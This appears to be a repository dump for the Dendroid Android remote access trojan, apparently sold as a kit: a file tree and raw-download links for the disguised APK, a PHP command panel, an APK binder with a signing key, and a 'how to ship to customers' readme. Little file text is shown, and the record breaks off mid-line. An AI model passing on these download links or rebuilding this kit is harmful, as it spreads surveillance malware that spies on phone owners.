├── Dendroid APK ├── lint.xml ├── res │ ├── .DS_Store │ ├── menu │ │ └── connect_layout.xml │ ├── drawable-hdpi │ │ └── launcher.png │ ├── drawable-ldpi │ │ └── launcher.png │ ├── drawable-mdpi │ │ └── launcher.png │ ├── drawable-xhdpi │ │ └── launcher.png │ ├── values │ │ ├── strings.xml │ │ └── styles.xml │ ├── layout │ │ ├── main.xml │ │ ├── videoview.xml │ │ └── cameraview.xml │ ├── values-v11 │ │ └── styles.xml │ └── values-v14 │ │ └── styles.xml ├── src │ ├── .DS_Store │ └── com │ │ ├── .DS_Store │ │ └── connect │ │ ├── PhoneListener.java │ │ ├── Drodian.java │ │ ├── UpdateApp.java │ │ ├── Dialog.java │ │ ├── RecordService.java │ │ ├── ServiceReceiver.java │ │ └── VideoView.java ├── bin │ ├── Dendroid.apk │ ├── resources.ap_ │ ├── classes │ │ ├── .DS_Store │ │ └── com │ │ │ └── .DS_Store │ ├── res │ │ ├── drawable-hdpi │ │ │ └── launcher.png │ │ ├── drawable-ldpi │ │ │ └── launcher.png │ │ ├── drawable-mdpi │ │ │ └── launcher.png │ │ ├── drawable-xhdpi │ │ │ └── launcher.png │ │ └── crunch │ │ │ ├── drawable-hdpi │ │ │ └── launcher.png │ │ │ ├── drawable-ldpi │ │ │ └── launcher.png │ │ │ ├── drawable-mdpi │ │ │ └── launcher.png │ │ │ └── drawable-xhdpi │ │ │ └── launcher.png │ └── AndroidManifest.xml ├── ic_launcher-web.png ├── gen │ └── com │ │ └── adobe │ │ └── flash13 │ │ ├── BuildConfig.java │ │ └── R.java ├── project.properties ├── proguard-project.txt ├── AndroidManifest.xml └── custom_rules.xml ├── README.md ├── ZIP_files ├── Dendroid APK.zip ├── Dendroid Binder.zip └── Dendroid Panel.zip ├── Dendroid Panel ├── Dendroid Panel │ ├── .DS_Store │ ├── Panel │ │ ├── assets │ │ │ ├── img │ │ │ │ ├── banner.png │ │ │ │ ├── bg_off.jpg │ │ │ │ ├── bg_on.jpg │ │ │ │ ├── logo.png │ │ │ │ ├── login_bg.png │ │ │ │ └── bannerrot.png │ │ │ ├── fonts │ │ │ │ ├── glyphiconshalflings-regular.eot │ │ │ │ ├── glyphiconshalflings-regular.otf │ │ │ │ ├── glyphiconshalflings-regular.ttf │ │ │ │ └── glyphiconshalflings-regular.woff │ │ │ ├── css │ │ │ │ ├── image-picker.css │ │ │ │ └── bootstrap-glyphicons.css │ │ │ └── js │ │ │ │ └── image-picker.min.js │ │ ├── reg.php │ │ ├── logout.php │ │ ├── getwaitingcommands.php │ │ ├── getimages.php │ │ ├── showpictures.php │ │ ├── deletebot.php │ │ ├── clearawaiting.php │ │ ├── clearmessages.php │ │ ├── message.php │ │ ├── get.php │ │ ├── deletefile.php │ │ ├── deletepics.php │ │ ├── getmessages.php │ │ ├── login.php │ │ ├── blockbot.php │ │ ├── addcommand.php │ │ ├── get-functions.php │ │ ├── upload-pictures.php │ │ ├── filetable.php │ │ ├── applysettings.php │ │ ├── setup │ │ │ ├── createconfig.php │ │ │ ├── laststep.php │ │ │ └── index.php │ │ ├── index.php │ │ ├── functions.php │ │ ├── new-upload.php │ │ └── table.php │ ├── Other Files │ │ ├── README.txt │ │ └── SQL.sql │ └── README - How to ship to customers.txt └── __MACOSX │ ├── ._Dendroid Panel │ └── Dendroid Panel │ ├── ._Panel │ ├── ._Other Files │ ├── Panel │ ├── ._setup │ ├── ._assets │ ├── ._dlfiles │ ├── ._get.php │ ├── ._reg.php │ ├── ._index.php │ ├── ._login.php │ ├── ._logout.php │ ├── ._table.php │ ├── assets │ │ ├── ._css │ │ ├── ._img │ │ ├── ._js │ │ ├── ._fonts │ │ ├── js │ │ │ ├── ._date.js │ │ │ ├── ._bootstrap.js │ │ │ ├── ._bootstrap.min.js │ │ │ ├── ._image-picker.min.js │ │ │ ├── ._jquery.tablesorter.min.js │ │ │ └── ._jquery.tablesorter.widgets.min.js │ │ ├── img │ │ │ ├── ._bg_on.jpg │ │ │ ├── ._logo.png │ │ │ ├── ._banner.png │ │ │ ├── ._bg_off.jpg │ │ │ ├── ._bannerrot.png │ │ │ └── ._login_bg.png │ │ ├── css │ │ │ ├── ._bootstrap.css │ │ │ ├── ._image-picker.css │ │ │ ├── ._bootstrap.min.css │ │ │ └── ._bootstrap-glyphicons.css │ │ └── fonts │ │ │ ├── ._glyphiconshalflings-regular.eot │ │ │ ├── ._glyphiconshalflings-regular.otf │ │ │ ├── ._glyphiconshalflings-regular.svg │ │ │ ├── ._glyphiconshalflings-regular.ttf │ │ │ └── ._glyphiconshalflings-regular.woff │ ├── ._blockbot.php │ ├── ._control.php │ ├── ._message.php │ ├── ._settings.php │ ├── ._addcommand.php │ ├── ._deletebot.php │ ├── ._deletefile.php │ ├── ._deletepics.php │ ├── ._filetable.php │ ├── ._functions.php │ ├── ._getimages.php │ ├── ._getmessages.php │ ├── ._new-upload.php │ ├── setup │ │ ├── ._index.php │ │ ├── ._step1.php │ │ ├── ._laststep.php │ │ └── ._createconfig.php │ ├── ._applysettings.php │ ├── ._clearawaiting.php │ ├── ._clearmessages.php │ ├── ._get-functions.php │ ├── ._showpictures.php │ ├── ._upload-pictures.php │ └── ._getwaitingcommands.php │ ├── ._.DS_Store │ ├── Other Files │ ├── ._SQL.sql │ └── ._README.txt │ └── ._README - How to ship to customers.txt ├── Dendroid Binder └── APKBinder │ ├── bin │ ├── Debug │ │ ├── apktool.bat │ │ ├── framework │ │ │ ├── privatekey.pk8 │ │ │ └── publickey.x509.pem │ │ ├── APKBinder.vshost.exe.manifest │ │ ├── DendroidBinder.vshost.exe.manifest │ │ ├── APKBinder.xml │ │ ├── DendroidBinder.xml │ │ ├── APKBinder.exe.config │ │ ├── DendroidBinder.exe.config │ │ ├── APKBinder.vshost.exe.config │ │ └── DendroidBinder.vshost.exe.config │ └── Release │ │ ├── APKBinder.xml │ │ └── APKBinder.exe.config │ ├── obj │ └── x86 │ │ ├── Debug │ │ ├── APKBinder.Form1.resources │ │ ├── APKBinder.Resources.resources │ │ ├── GenerateResource.read.1.tlog │ │ ├── GenerateResource.write.1.tlog │ │ ├── DendroidBinder.Form1.resources │ │ ├── DendroidBinder.Resources.resources │ │ ├── GenerateResource-ResGen.read.1.tlog │ │ ├── GenerateResource-ResGen.write.1.tlog │ │ ├── APKBinder.xml │ │ ├── DendroidBinder.xml │ │ ├── APKBinder.vbproj.FileListAbsolute.txt │ │ └── DendroidBinder.vbproj.FileListAbsolute.txt │ │ └── Release │ │ ├── APKBinder.Form1.resources │ │ ├── APKBinder.Resources.resources │ │ ├── GenerateResource-ResGen.read.1.tlog │ │ ├── GenerateResource-ResGen.write.1.tlog │ │ ├── APKBinder.xml │ │ ├── DendroidBinder.vbproj.FileListAbsolute.txt │ │ └── APKBinder.vbproj.FileListAbsolute.txt │ ├── My Project │ ├── Settings.settings │ ├── Application.myapp │ ├── AssemblyInfo.vb │ ├── Application.Designer.vb │ ├── Resources.Designer.vb │ ├── Settings.Designer.vb │ └── Resources.resx │ ├── APKBinder.sln │ ├── app.config │ ├── APKBinder.vbproj │ ├── Form1.resx │ └── Form1.Designer.vb ├── .gitignore └── Guide └── readme.md /Dendroid APK/lint.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /Dendroid APK/res/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/res/.DS_Store -------------------------------------------------------------------------------- /Dendroid APK/src/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/src/.DS_Store -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### All responsibilities are at your own risk. 2 | ### Please use it only for research purposes. 3 | -------------------------------------------------------------------------------- /ZIP_files/Dendroid APK.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/ZIP_files/Dendroid APK.zip -------------------------------------------------------------------------------- /Dendroid APK/bin/Dendroid.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/bin/Dendroid.apk -------------------------------------------------------------------------------- /ZIP_files/Dendroid Binder.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/ZIP_files/Dendroid Binder.zip -------------------------------------------------------------------------------- /ZIP_files/Dendroid Panel.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/ZIP_files/Dendroid Panel.zip -------------------------------------------------------------------------------- /Dendroid APK/bin/resources.ap_: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/bin/resources.ap_ -------------------------------------------------------------------------------- /Dendroid APK/ic_launcher-web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/ic_launcher-web.png -------------------------------------------------------------------------------- /Dendroid APK/src/com/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/src/com/.DS_Store -------------------------------------------------------------------------------- /Dendroid APK/bin/classes/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/bin/classes/.DS_Store -------------------------------------------------------------------------------- /Dendroid APK/res/menu/connect_layout.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Dendroid APK/bin/classes/com/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/bin/classes/com/.DS_Store -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/Dendroid Panel/.DS_Store -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/._Dendroid Panel: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/._Dendroid Panel -------------------------------------------------------------------------------- /Dendroid APK/res/drawable-hdpi/launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/res/drawable-hdpi/launcher.png -------------------------------------------------------------------------------- /Dendroid APK/res/drawable-ldpi/launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/res/drawable-ldpi/launcher.png -------------------------------------------------------------------------------- /Dendroid APK/res/drawable-mdpi/launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/res/drawable-mdpi/launcher.png -------------------------------------------------------------------------------- /Dendroid APK/res/drawable-xhdpi/launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/res/drawable-xhdpi/launcher.png -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/bin/Debug/apktool.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | set PATH=%CD%;%PATH%; 3 | java -jar "%~dp0\apktool.jar" %1 %2 %3 %4 %5 %6 %7 %8 %9 4 | -------------------------------------------------------------------------------- /Dendroid APK/bin/res/drawable-hdpi/launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/bin/res/drawable-hdpi/launcher.png -------------------------------------------------------------------------------- /Dendroid APK/bin/res/drawable-ldpi/launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/bin/res/drawable-ldpi/launcher.png -------------------------------------------------------------------------------- /Dendroid APK/bin/res/drawable-mdpi/launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/bin/res/drawable-mdpi/launcher.png -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/._Panel: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/._Panel -------------------------------------------------------------------------------- /Dendroid APK/bin/res/drawable-xhdpi/launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/bin/res/drawable-xhdpi/launcher.png -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/._Other Files: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/._Other Files -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._setup: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._setup -------------------------------------------------------------------------------- /Dendroid APK/bin/res/crunch/drawable-hdpi/launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/bin/res/crunch/drawable-hdpi/launcher.png -------------------------------------------------------------------------------- /Dendroid APK/bin/res/crunch/drawable-ldpi/launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/bin/res/crunch/drawable-ldpi/launcher.png -------------------------------------------------------------------------------- /Dendroid APK/bin/res/crunch/drawable-mdpi/launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/bin/res/crunch/drawable-mdpi/launcher.png -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._assets: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._assets -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._dlfiles: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._dlfiles -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._get.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._get.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._reg.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._reg.php -------------------------------------------------------------------------------- /Dendroid APK/bin/res/crunch/drawable-xhdpi/launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid APK/bin/res/crunch/drawable-xhdpi/launcher.png -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/assets/img/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/Dendroid Panel/Panel/assets/img/banner.png -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/assets/img/bg_off.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/Dendroid Panel/Panel/assets/img/bg_off.jpg -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/assets/img/bg_on.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/Dendroid Panel/Panel/assets/img/bg_on.jpg -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/assets/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/Dendroid Panel/Panel/assets/img/logo.png -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/._.DS_Store: -------------------------------------------------------------------------------- 1 | Mac OS X  2Fx ATTRxx -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._index.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._index.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._login.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._login.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._logout.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._logout.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._table.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._table.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/._css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/._css -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/._img: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/._img -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/._js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/._js -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/assets/img/login_bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/Dendroid Panel/Panel/assets/img/login_bg.png -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._blockbot.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._blockbot.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._control.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._control.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._message.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._message.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._settings.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._settings.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/._fonts: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/._fonts -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/bin/Debug/framework/privatekey.pk8: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Binder/APKBinder/bin/Debug/framework/privatekey.pk8 -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/assets/img/bannerrot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/Dendroid Panel/Panel/assets/img/bannerrot.png -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Other Files/._SQL.sql: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Other Files/._SQL.sql -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._addcommand.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._addcommand.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._deletebot.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._deletebot.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._deletefile.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._deletefile.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._deletepics.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._deletepics.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._filetable.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._filetable.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._functions.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._functions.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._getimages.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._getimages.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._getmessages.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._getmessages.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._new-upload.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._new-upload.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/setup/._index.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/setup/._index.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/setup/._step1.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/setup/._step1.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Other Files/._README.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Other Files/._README.txt -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._applysettings.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._applysettings.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._clearawaiting.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._clearawaiting.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._clearmessages.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._clearmessages.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._get-functions.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._get-functions.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._showpictures.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._showpictures.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/js/._date.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/js/._date.js -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Debug/APKBinder.Form1.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Binder/APKBinder/obj/x86/Debug/APKBinder.Form1.resources -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Release/APKBinder.Form1.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Binder/APKBinder/obj/x86/Release/APKBinder.Form1.resources -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._upload-pictures.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._upload-pictures.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/img/._bg_on.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/img/._bg_on.jpg -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/img/._logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/img/._logo.png -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/setup/._laststep.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/setup/._laststep.php -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Debug/APKBinder.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Binder/APKBinder/obj/x86/Debug/APKBinder.Resources.resources -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Debug/GenerateResource.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Binder/APKBinder/obj/x86/Debug/GenerateResource.read.1.tlog -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Debug/GenerateResource.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Binder/APKBinder/obj/x86/Debug/GenerateResource.write.1.tlog -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._getwaitingcommands.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/._getwaitingcommands.php -------------------------------------------------------------------------------- /Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/img/._banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwsrc/Dendroid-HTTP-RAT/HEAD/Dendroid Panel/__MACOSX/Dendroid Panel/Panel/assets/img/._banner.png -------------------------------------------------------------------------------- /Dendroid 